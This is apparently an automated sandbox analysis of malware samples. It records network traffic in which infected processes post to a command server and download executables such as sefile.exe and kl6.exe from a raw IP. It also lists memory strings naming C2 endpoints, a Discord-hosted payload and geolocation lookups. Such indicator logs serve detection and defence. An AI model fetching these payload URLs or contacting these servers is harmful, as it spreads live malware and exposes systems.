00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 d2 00 00 00 c0 fa 01 00 d4 00 00 00 20 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 273Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 121Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 190Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 272Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 122Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: GET /blog/images/sefile.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 45.138.172.28
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 170Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 151Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 230Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 167Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 287Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 312Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 159Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 317Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: GET /blog/images/kl6.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 45.138.172.28
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 296Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 214Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 222Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 338Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: GET /blog/images/sefile2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 45.138.172.28
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 210Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 148Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 202Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 128Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 248Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 268Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 143Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 326Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 262Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 238Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 230Host: atvcampingtrips.com
Source: global traffic	HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 182Host: atvcampingtrips.com

Source: global traffic

TCP traffic: 192.168.2.7:49732 -> 193.38.55.57:7575

Source: rnyuf.exe, 00000021.00000002.514462224.000000000276F000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206-k
Source: rnyuf.exe, 00000021.00000002.513668865.0000000002720000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.php
Source: rnyuf.exe, 00000021.00000002.538059389.0000000005A5D000.00000004.00000001.sdmp, rnyuf.exe, 00000021.00000002.513668865.0000000002720000.00000004.00000001.sdmp, rnyuf.exe, 00000021.00000002.533972719.0000000005A30000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.php?scr=1
Source: rnyuf.exe, 00000021.00000002.533972719.0000000005A30000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.php?scr=1e=
Source: rnyuf.exe, 00000021.00000002.533972719.0000000005A30000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.php?scr=1s
Source: rnyuf.exe, 00000021.00000002.514778374.0000000002798000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.php?scr=1t9
Source: rnyuf.exe, 00000021.00000002.536852485.0000000005A53000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.phpR
Source: rnyuf.exe, 00000021.00000002.536852485.0000000005A53000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.phpf
Source: rnyuf.exe, 00000021.00000002.536852485.0000000005A53000.00000004.00000001.sdmp	String found in binary or memory: http://185.215.113.206/k8FppT/index.phpp
Source: ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	String found in binary or memory: http://193.38.55.57:7575
Source: ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	String found in binary or memory: http://193.38.55.57:7575/
Source: ABA5.exe, 00000014.00000002.462509363.0000000004759000.00000004.00000001.sdmp	String found in binary or memory: http://193.38.55.57:75754
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: http://appldnld.apple.com/QuickTime/041-3089.20111026.Sxpr4/QuickTimeInstaller.exe
Source: rnyuf.exe, 00000021.00000002.514778374.0000000002798000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/CloudflareIncECCCA-3.crt0
Source: ABA5.exe, 00000014.00000002.473910018.0000000007B3F000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/CloudflareIncRSACA-2.crt0
Source: rnyuf.exe, 00000021.00000002.514778374.0000000002798000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: rnyuf.exe, 00000021.00000002.533474032.0000000004F3E000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: rnyuf.exe, 00000021.00000002.513668865.0000000002720000.00000004.00000001.sdmp	String found in binary or memory: http://cdn.discordapp.com/attachments/878382243242983437/878684457245220884/mrmoms.exe
Source: rnyuf.exe, 00000021.00000002.513668865.0000000002720000.00000004.00000001.sdmp	String found in binary or memory: http://cdn.discordapp.com/attachments/878382243242983437/878684457245220884/mrmoms.exeI:
Source: rnyuf.exe, 00000021.00000002.513668865.0000000002720000.00000004.00000001.sdmp	String found in binary or memory: http://cdn.discordapp.com/attachments/878382243242983437/878684457245220884/mrmoms.exeQNELfvL
Source: rnyuf.exe, 00000021.00000002.513668865.0000000002720000.00000004.00000001.sdmp	String found in binary or memory: http://cdn.discordapp.com/attachments/878382243242983437/878684457245220884/mrmoms.exeQNELn)M
Source: rnyuf.exe, 00000021.00000002.533474032.0000000004F3E000.00000004.00000001.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: rnyuf.exe, 00000021.00000002.514778374.0000000002798000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/CloudflareIncECCCA-3.crl07
Source: ABA5.exe, 00000014.00000002.473910018.0000000007B3F000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/CloudflareIncRSACA-2.crl07
Source: rnyuf.exe, 00000021.00000002.514778374.0000000002798000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: ABA5.exe, 00000014.00000002.473910018.0000000007B3F000.00000004.00000001.sdmp, rnyuf.exe, 00000021.00000002.513331789.00000000026FF000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0m
Source: rnyuf.exe, 00000021.00000002.533474032.0000000004F3E000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: rnyuf.exe, 00000021.00000002.514778374.0000000002798000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/CloudflareIncECCCA-3.crl0
Source: ABA5.exe, 00000014.00000002.473910018.0000000007B3F000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/CloudflareIncRSACA-2.crl0
Source: rnyuf.exe, 00000021.00000002.514778374.0000000002798000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: rnyuf.exe, 00000021.00000002.533474032.0000000004F3E000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: rnyuf.exe, 00000021.00000002.533474032.0000000004F3E000.00000004.00000001.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: http://forms.rea
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: http://forms.real.com/real/realone/download.html?type=rpsp_us
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: http://go.micros
Source: ABA5.exe, 00000014.00000002.473910018.0000000007B3F000.00000004.00000001.sdmp, rnyuf.exe, 00000021.00000002.514778374.0000000002798000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: ABA5.exe, 00000014.00000002.473910018.0000000007B3F000.00000004.00000001.sdmp, rnyuf.exe, 00000021.00000002.513331789.00000000026FF000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: rnyuf.exe, 00000021.00000002.514778374.0000000002798000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: rnyuf.exe, 00000021.00000002.533474032.0000000004F3E000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: rnyuf.exe, 00000021.00000002.533474032.0000000004F3E000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: ABA5.exe, 00000014.00000002.462038067.00000000046CD000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: ABA5.exe, 00000014.00000002.462509363.0000000004759000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: ABA5.exe, 00000014.00000002.461322183.000000000457D000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/D
Source: ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
Source: ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: http://service.r
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: http://service.real.com/realplayer/security/02062012_player/en/
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: http://support.a
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: http://support.apple.com/kb/HT203092
Source: ABA5.exe, 00000014.00000002.462509363.0000000004759000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/
Source: ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/0
Source: ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: ABA5.exe, 00000014.00000002.462509363.0000000004759000.00000004.00000001.sdmp, ABA5.exe, 00000014.00000002.461347957.00000000045A8000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: ABA5.exe, 00000014.00000002.462038067.00000000046CD000.00000004.00000001.sdmp, ABA5.exe, 00000014.00000002.462509363.0000000004759000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: ABA5.exe, 00000014.00000002.461195105.0000000004531000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: ABA5.exe, 00000014.00000002.461322183.000000000457D000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/t_nmXRX
Source: rnyuf.exe, 00000021.00000002.513668865.0000000002720000.00000004.00000001.sdmp, rnyuf.exe, 00000021.00000002.514509529.0000000002772000.00000004.00000001.sdmp	String found in binary or memory: http://trustmanager.ug/k8FppT/index.php
Source: rnyuf.exe, 00000021.00000002.533972719.0000000005A30000.00000004.00000001.sdmp	String found in binary or memory: http://trustmanager.ug/k8FppT/index.php$2
Source: rnyuf.exe, 00000021.00000002.513668865.0000000002720000.00000004.00000001.sdmp	String found in binary or memory: http://trustmanager.ug/k8FppT/index.php-
Source: rnyuf.exe, 00000021.00000003.498140288.0000000005A5E000.00000004.00000001.sdmp	String found in binary or memory: http://trustmanager.ug/k8FppT/index.php/
Source: rnyuf.exe, 00000021.00000002.513668865.0000000002720000.00000004.00000001.sdmp	String found in binary or memory: http://trustmanager.ug/k8FppT/index.php?scr=1
Source: rnyuf.exe, 00000021.00000002.513668865.0000000002720000.00000004.00000001.sdmp	String found in binary or memory: http://trustmanager.ug/k8FppT/index.php?scr=12)
Source: rnyuf.exe, 00000021.00000003.498140288.0000000005A5E000.00000004.00000001.sdmp	String found in binary or memory: http://trustmanager.ug/k8FppT/index.php?scr=1d
Source: rnyuf.exe, 00000021.00000003.498140288.0000000005A5E000.00000004.00000001.sdmp	String found in binary or memory: http://trustmanager.ug/k8FppT/index.php?scr=1k
Source: rnyuf.exe, 00000021.00000002.533972719.0000000005A30000.00000004.00000001.sdmp	String found in binary or memory: http://trustmanager.ug/k8FppT/index.php?scr=1o
Source: rnyuf.exe, 00000021.00000002.533972719.0000000005A30000.00000004.00000001.sdmp	String found in binary or memory: http://trustmanager.ug/k8FppT/index.phpn
Source: rnyuf.exe, 00000021.00000002.533972719.0000000005A30000.00000004.00000001.sdmp	String found in binary or memory: http://trustmanager.ug/k8FppT/index.phpnnection
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000004.00000000.265470727.0000000006870000.00000004.00000001.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: ABA5.exe, 00000014.00000002.473910018.0000000007B3F000.00000004.00000001.sdmp, rnyuf.exe, 00000021.00000002.514778374.0000000002798000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com/CPS0v
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: http://www.google.com/earth/explore/products/plugin.html
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: http://www.interoperabilitybridges.com/wmp-extension-for-chrome
Source: ABA5.exe, 00000014.00000002.461408772.00000000045C1000.00000004.00000001.sdmp	String found in binary or memory: http://www.interoperabilitybridges.com/wmp-extension-for-chromere
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000004.00000000.271819647.000000000BE76000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: ABA5.exe, 00000014.00000002.461322183.000000000457D000.00000004.00000001.sdmp	String found in binary or memory: https://api.ip.sb/geoip
Source: ABA5.exe, 00000014.00000002.465939919.0000000005535000.00000004.00000001.sdmp	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: ABA5.exe, 00000014.00000002.461322183.000000000457D000.00000004.00000001.sdmp	String found in binary or memory: https://api.ip.sb4
Source: ABA5.exe, 00000014.00000002.465939919.0000000005535000.00000004.00000001.sdmp	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: rnyuf.exe, 00000021.00000002.514567965.000000000277D000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/
